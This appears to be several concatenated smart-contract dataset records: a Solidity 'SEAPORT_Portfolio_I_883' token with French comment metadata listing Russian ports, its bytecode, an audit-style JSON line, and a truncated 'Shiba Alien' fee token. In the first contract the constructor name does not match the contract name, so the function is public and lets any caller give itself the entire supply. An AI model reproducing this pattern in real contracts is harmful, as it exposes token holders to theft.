pragma solidity ^0.4.21 ; contract SEAPORT_Portfolio_I_883 { mapping (address => uint256) public balanceOf; string public name = " SEAPORT_Portfolio_I_883 " ; string public symbol = " SEAPORT883I " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1315013459513460000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_I_metadata_line_1_____Abakan_Spe_Value_20250515 > // < l8YQ7L17zYAReUoWyFSW82OGRtoAtms9Sm6wWMSAEYO7R1Qnp1lGYO68ZR077Aw0 > // < 1E-018 limites [ 1E-018 ; 34589487,3823024 ] > // < 0x000000000000000000000000000000000000000000000000000000000034C785 > // < SEAPORT_Portfolio_I_metadata_line_2_____Aleksandrovsk_Sakhalinsky_Sea_Port_20250515 > // < 99vOJKum36hA7nr46w0sOvlrco1T997yAO28gY6bFQY5GHLbRgPOolQN8L99IsV5 > // < 1E-018 limites [ 34589487,3823024 ; 69065378,9771162 ] > // < 0x000000000000000000000000000000000000000000000000000034C7856962AA > // < SEAPORT_Portfolio_I_metadata_line_3_____Amderma_Maritime_Trade_Port_20250515 > // < HSCt9niAXx0R3vM21bfFT8onp7a89so8EFvVsA4s72aeRu1xpiVj6ne62MLCT3nN > // < 1E-018 limites [ 69065378,9771162 ; 118259276,627101 ] > // < 0x00000000000000000000000000000000000000000000000000006962AAB47308 > // < SEAPORT_Portfolio_I_metadata_line_4_____Anadyr_Sea_Port_Ltd_20250515 > // < 76fr6XwcV6tP58xd3HmtcB81MBz94D1Y1E6E64tefjl0FT5EPs0w4ga49gmOtf48 > // < 1E-018 limites [ 118259276,627101 ; 154060140,389963 ] > // < 0x0000000000000000000000000000000000000000000000000000B47308EB13BE > // < SEAPORT_Portfolio_I_metadata_line_5_____Anadyr_Port_Spe_Value_20250515 > // < TawG6s5F520LBQT3tIDt3908YmHPn7JikvtE5LYOwW800E31J5b8qS04xNDg2j5Y > // < 1E-018 limites [ 154060140,389963 ; 182741903,899121 ] > // < 0x000000000000000000000000000000000000000000000000000EB13BE116D78E > // < SEAPORT_Portfolio_I_metadata_line_6_____Maritime_Port_Administration_of_Novorossiysk_20250515 > // < 5Z511kCtrwC5v948l83E72907BtRIkQ3Ye5Kr8d1GgYz0t097cBp4i0tzl3hJ3LN > // < 1E-018 limites [ 182741903,899121 ; 212691228,411382 ] > // < 0x00000000000000000000000000000000000000000000000000116D78E1448A83 > // < SEAPORT_Portfolio_I_metadata_line_7_____Anapa_Port_Spe_Value_20250515 > // < N8Gidl5Q4rS9l4mM45LWHSgS1bjkl5z14kLl8fGgOA0D4U214lgaGsQFH8vB13R5 > // < 1E-018 limites [ 212691228,411382 ; 254199183,730671 ] > // < 0x000000000000000000000000000000000000000000000000001448A83183E08E > // < SEAPORT_Portfolio_I_metadata_line_8_____JSC_Arkhangelsk_Sea_Commercial_Port_20250515 > // < ax291UBF4355AmJug6KPBHM2t8mF5oYcrVtxgxZZapr724r6tZUs7D2Z54InHWPn > // < 1E-018 limites [ 254199183,730671 ; 286081042,088676 ] > // < 0x00000000000000000000000000000000000000000000000000183E08E1B48668 > // < SEAPORT_Portfolio_I_metadata_line_9_____Arkhangelsk_Port_Spe_Value_20250515 > // < 6H3ACuiVfIaE252T1q66Tr7x1jmHl5PrVz5659G8MwZbGJnEYBWtw3Tdb8T7CQ7C > // < 1E-018 limites [ 286081042,088676 ; 325388661,988454 ] > // < 0x000000000000000000000000000000000000000000000000001B486681F080F2 > // < SEAPORT_Portfolio_I_metadata_line_10_____Astrakhan_Sea_Commercial_Port_20250515 > // < TX6s7B5H15O4RDd5Aj8iru2Mc339vS9XQ3y2gY9S4u6M9206p62g75grb6PyIQeC > // < 1E-018 limites [ 325388661,988454 ; 352732232,607 ] > // < 0x000000000000000000000000000000000000000000000000001F080F221A3A07 > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_I_metadata_line_11_____Astrakhan_Port_Spe_Value_20250515 > // < 1KKEj55zo5m5HwWOAdbd25Yho2d1s85sxR0xFl4k3TA5MRn5S9bZdL591E0XBOC5 > // < 1E-018 limites [ 352732232,607 ; 371968714,510636 ] > // < 0x0000000000000000000000000000000000000000000000000021A3A072379447 > // < SEAPORT_Portfolio_I_metadata_line_12_____JSC_Azov_Sea_Port_20250515 > // < 5zEm7mDZKQ5cRGpPCUfR26mgY0sC65bNG5b87LaynVztpDUaV2VYuX830YD649v7 > // < 1E-018 limites [ 371968714,510636 ; 390095899,323935 ] > // < 0x0000000000000000000000000000000000000000000000000023794472533D36 > // < SEAPORT_Portfolio_I_metadata_line_13_____Barnaul_Port_Spe_Value_20250515 > // < 0HBCfiC5U8mtwx5v318AOPiTy75DbwI7QmseRH670M98KyhTwq5u8hb7I9HVDi5l > // < 1E-018 limites [ 390095899,323935 ; 408387567,146848 ] > // < 0x000000000000000000000000000000000000000000000000002533D3626F2665 > // < SEAPORT_Portfolio_I_metadata_line_14_____Beringovsky_Port_Spe_Value_20250515 > // < Dq336GQ7NL2i0lU75Vzy5e39bTn8PUueFF0QP2DH9nEyOXofnDrDGEFG5Vh5fV8m > // < 1E-018 limites [ 408387567,146848 ; 436319523,963194 ] > // < 0x0000000000000000000000000000000000000000000000000026F2665299C550 > // < SEAPORT_Portfolio_I_metadata_line_15_____Beryozovo_Port_Spe_Value_20250515 > // < 50hLrz6Af99y11Iq0qn38zj7pL7eCan4A61oppYy0E6TSU3JxmtVbtAjr097vb5Z > // < 1E-018 limites [ 436319523,963194 ; 472346127,958446 ] > // < 0x00000000000000000000000000000000000000000000000000299C5502D0BE35 > // < SEAPORT_Portfolio_I_metadata_line_16_____Bratsk_Port_Spe_Value_20250515 > // < 13T59NVB20n165oZmQsdsX6i96JKsj1MwCO2EEVv33icRSrG19Euj4g5O1L00v4M > // < 1E-018 limites [ 472346127,958446 ; 501700566,632217 ] > // < 0x000000000000000000000000000000000000000000000000002D0BE352FD88C9 > // < SEAPORT_Portfolio_I_metadata_line_17_____Bukhta_Nagayeva_Port_Spe_Value_20250515 > // < wP6mNJM5h62v2FQ0OTmlsgSz7mu9W1C99K4Qrkc905vlS8i40wi8Mgk73D6mUX5I > // < 1E-018 limites [ 501700566,632217 ; 528541201,703527 ] > // < 0x000000000000000000000000000000000000000000000000002FD88C93267D68 > // < SEAPORT_Portfolio_I_metadata_line_18_____Cherepovets_Port_Spe_Value_20250515 > // < VmPzX5kQsq7t20o4AvhTqorkY1gUak6i1m2CES2yZ3slUETVHMg4r14Q4KvDed33 > // < 1E-018 limites [ 528541201,703527 ; 561756129,119174 ] > // < 0x000000000000000000000000000000000000000000000000003267D683592BFD > // < SEAPORT_Portfolio_I_metadata_line_19_____De_Kastri_Port_Spe_Value_20250515 > // < 93GJzjI0H8d4SctOG3633P5Hr06G3PkfK5GCfgNGbbnj017K6kwbhoWqlQUUlCUq > // < 1E-018 limites [ 561756129,119174 ; 602361587,711232 ] > // < 0x000000000000000000000000000000000000000000000000003592BFD397217F > // < SEAPORT_Portfolio_I_metadata_line_20_____State_Enterprise_Dikson_Sea_Trade_Port_20250515 > // < hf5Dsjz6k77aXPfilv9B2m7B3IbY44xT63UJUomVs77EoN1H7z1mhX09XMXi7f8F > // < 1E-018 limites [ 602361587,711232 ; 628215907,434235 ] > // < 0x00000000000000000000000000000000000000000000000000397217F3BE94D7 > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_I_metadata_line_21_____Dudinka_Port_Spe_Value_20250515 > // < 9bpj7CY2y0274f9fj8CV752f955nQTbgBk79p4AV5j3UyNN2Xni9H203mLoNAm85 > // < 1E-018 limites [ 628215907,434235 ; 664249187,620668 ] > // < 0x000000000000000000000000000000000000000000000000003BE94D73F59057 > // < SEAPORT_Portfolio_I_metadata_line_22_____Dzerzhinsk_Port_Spe_Value_20250515 > // < z1kx9i5Ec3auS028Txg3B9z2r2XGnZynHoW6B2066rH2UqaCC8Io26JSTj1Tiho3 > // < 1E-018 limites [ 664249187,620668 ; 709092707,967714 ] > // < 0x000000000000000000000000000000000000000000000000003F59057439FD57 > // < SEAPORT_Portfolio_I_metadata_line_23_____Egvekinot_Port_Spe_Value_20250515 > // < H4brHcn9VTt216yq5mLlrVspa4H90L0f1U9TWINFm505xdf1ZvJLl60cryq3Y36O > // < 1E-018 limites [ 709092707,967714 ; 734455461,126257 ] > // < 0x00000000000000000000000000000000000000000000000000439FD57460B0AA > // < SEAPORT_Portfolio_I_metadata_line_24_____Ekonomiya_Port_Spe_Value_20250515 > // < 0Lrmw70Xq5f4UEWN8ze56PKle190J68mbx3rfNq1WZa82GitKcuG85wmQf6gc9Hv > // < 1E-018 limites [ 734455461,126257 ; 769322600,101612 ] > // < 0x00000000000000000000000000000000000000000000000000460B0AA495E4A4 > // < SEAPORT_Portfolio_I_metadata_line_25_____Gelendzhgic_Port_Spe_Value_20250515 > // < 4Md4s1egr5OgL4r3TJ02n919UOdQQJf1j4unwj67zUJ1RcQ266RRSoc763O0B04z > // < 1E-018 limites [ 769322600,101612 ; 799897605,711594 ] > // < 0x00000000000000000000000000000000000000000000000000495E4A44C48C01 > // < SEAPORT_Portfolio_I_metadata_line_26_____Sea_Port_Hatanga_20250515 > // < fNL7U5kU53G8YytTe0f4S9VMIWva0v5HldliI6kG7VLe046TD1O79qhg98rdP2zC > // < 1E-018 limites [ 799897605,711594 ; 845683113,73383 ] > // < 0x000000000000000000000000000000000000000000000000004C48C0150A68F7 > // < SEAPORT_Portfolio_I_metadata_line_27_____Igarka_Port_Authority_20250515 > // < y2s06Irb11CbWc9b5yq9867C97mpRy4unmLl56hD6d0w847N1E8Eal73RHGq4uZx > // < 1E-018 limites [ 845683113,73383 ; 880610166,209277 ] > // < 0x0000000000000000000000000000000000000000000000000050A68F753FB459 > // < SEAPORT_Portfolio_I_metadata_line_28_____Irkutsk_Port_Spe_Value_20250515 > // < jjuk201RzNZ39TpfhAC3iKc6Xf4337cSdNl2fSP1cCe6Z93q3CCNufVoBs0mtXKF > // < 1E-018 limites [ 880610166,209277 ; 899978409,57312 ] > // < 0x0000000000000000000000000000000000000000000000000053FB45955D4211 > // < SEAPORT_Portfolio_I_metadata_line_29_____Irtyshskiy_Port_Spe_Value_20250515 > // < 016gO3zpw4iaVH37NYs5H1kO30J9tG51fC3rXD8xxO6Xjlo9Bv2C5Yiv247hh433 > // < 1E-018 limites [ 899978409,57312 ; 922757793,000955 ] > // < 0x0000000000000000000000000000000000000000000000000055D42115800443 > // < SEAPORT_Portfolio_I_metadata_line_30_____Kalach_na_Donu_Port_Spe_Value_20250515 > // < 8uOX13TDkG1W0SaP3KrXZ0YwPbJrs7C79wGR1YPQ9Sd69lfbVx6gHR4TpDf09z48 > // < 1E-018 limites [ 922757793,000955 ; 960657936,34675 ] > // < 0x0000000000000000000000000000000000000000000000000058004435B9D902 > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_I_metadata_line_31_____Kaliningrad_Port_Authorities_20250515 > // < V0bag60js6I6SfqW538onKUtPT69346npmtomHVbXj458mH8CS3NggBAWlBw9UuZ > // < 1E-018 limites [ 960657936,34675 ; 987430053,976926 ] > // < 0x000000000000000000000000000000000000000000000000005B9D9025E2B2DD > // < SEAPORT_Portfolio_I_metadata_line_32_____Kaluga_Port_Spe_Value_20250515 > // < f6trg3dDr8aae88MkTQkF559XvalvRRtOEZT5BBw6rwX1lNlxmonh9H9x29iFAWd > // < 1E-018 limites [ 987430053,976926 ; 1027805808,79615 ] > // < 0x000000000000000000000000000000000000000000000000005E2B2DD6204EA5 > // < SEAPORT_Portfolio_I_metadata_line_33_____Kandalaksha_Port_Spe_Value_20250515 > // < sWXO0xaK7fkAh82s9TmSwyozNR6AOgi4SrMPV2DyG3WfqfSRiTW02Wm5oK89YUNu > // < 1E-018 limites [ 1027805808,79615 ; 1075420583,15064 ] > // < 0x000000000000000000000000000000000000000000000000006204EA5668F62A > // < SEAPORT_Portfolio_I_metadata_line_34_____Kasimov_Port_Spe_Value_20250515 > // < pSdS0irYA991G0InokXYp87282239ml7uD7ZXVUpuatwtCIU045xKvI93ipM1Gaj > // < 1E-018 limites [ 1075420583,15064 ; 1095498326,97416 ] > // < 0x00000000000000000000000000000000000000000000000000668F62A6879909 > // < SEAPORT_Portfolio_I_metadata_line_35_____Kazan_Port_Spe_Value_20250515 > // < v8eX7831F2sDQbEpTruxMj4vBzX9P02bR15r30slOP22wXtrK31MSwa9dp0tI2ug > // < 1E-018 limites [ 1095498326,97416 ; 1115140726,87138 ] > // < 0x0000000000000000000000000000000000000000000000000068799096A591D9 > // < SEAPORT_Portfolio_I_metadata_line_36_____Khanty_Mansiysk_Port_Spe_Value_20250515 > // < 1U066GFeMWa0JF0777z10wvNPIl5yRRxMAV67kiSoLC2KiWSvmRi4f0nuKjOBuMu > // < 1E-018 limites [ 1115140726,87138 ; ] > // < 0x000000000000000000000000000000000000000000000000006A591D96EADB9D > // < SEAPORT_Portfolio_I_metadata_line_37_____Kholmsk_Port_Spe_Value_20250515 > // < zK26UZ019yJyP4ywHuI42YcUWatO34jvezs5en80nec3zpA4FgovHs14sOF0TfOh > // < 1E-018 limites [ 1160549414,78432 ; 1202640357,68869 ] > // < 0x000000000000000000000000000000000000000000000000006EADB9D72B1564 > // < SEAPORT_Portfolio_I_metadata_line_38_____Kolomna_Port_Spe_Value_20250515 > // < g7gc35EouNCtH8qx54qc8tTvI8S2D109iK4CK0q433IIPKJ03mU9Idx70wqRM6Hw > // < 1E-018 limites [ 1202640357,68869 ; 1247570179,81282 ] > // < 0x0000000000000000000000000000000000000000000000000072B156476FA41A > // < SEAPORT_Portfolio_I_metadata_line_39_____Kolpashevo_Port_Spe_Value_20250515 > // < 4M6NAlTi73GRY35vIv7bvB95X8C0UN39C090nZv409lP0g26HDJ2DDN8yC1Vt5rH > // < 1E-018 limites [ 1247570179,81282 ; 1284416486,51369 ] > // < 0x0000000000000000000000000000000000000000000000000076FA41A7A7DD31 > // < SEAPORT_Portfolio_I_metadata_line_40_____Korsakov_Port_Spe_Value_20250515 > // < h2Teu64dtajTo08bR9a86DDzlu3KOwLEPf7h7627zWDy9Eqf8k0PVc8IL5q1uM56 > // < 1E-018 limites [ 1284416486,51369 ; 1315013459,51346 ] > // < 0x000000000000000000000000000000000000000000000000007A7DD317D68D22 > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058201ee2fe3e2476c2d8e759b3e5f7dd7bd93e27c4b898b2eb46f8b2c671a621b7600029
{"success": true, "error": null, "results": {}}
3,196
0xcda15caa30e3d9757530dc325f4e102b853af30c
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBALIEN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Shiba Alien"; string private constant _symbol = unicode"SHIBALIEN"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(8)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 8; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 